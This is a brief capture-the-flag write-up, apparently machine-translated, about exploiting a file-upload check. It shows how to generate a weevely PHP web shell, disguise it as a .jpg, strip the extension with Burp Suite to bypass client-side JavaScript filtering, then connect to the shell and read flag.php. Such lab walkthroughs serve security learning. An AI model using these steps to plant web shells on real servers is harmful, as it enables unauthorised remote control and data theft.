Upload vulnerability

Upload the loopholes

First , The title is upload, Prompt is upload vulnerability does js Intercept , Code blocking , Look at the following Webpage head head , Find out js Code , keyword jpg

• burpsuite Grab the bag , Configure agent
• weevely Generate a sentence

weevely generate password ./1.php  #use weevely Generate... In the current directory 1.php, password passwd
mv 1.php 1.php.jpg

• Choose file upload && burpsuite Grab the bag Delete .jpg
• The echo upload success : upload/1592555994.1.php
• weevely Connect

weevely http://220.249.52.133:57535/upload/1592554838.1.php password # weevely  Connect 
dir #  Show directory 
cd ../..
 Find out flag.php
cat flag.php

obtain flag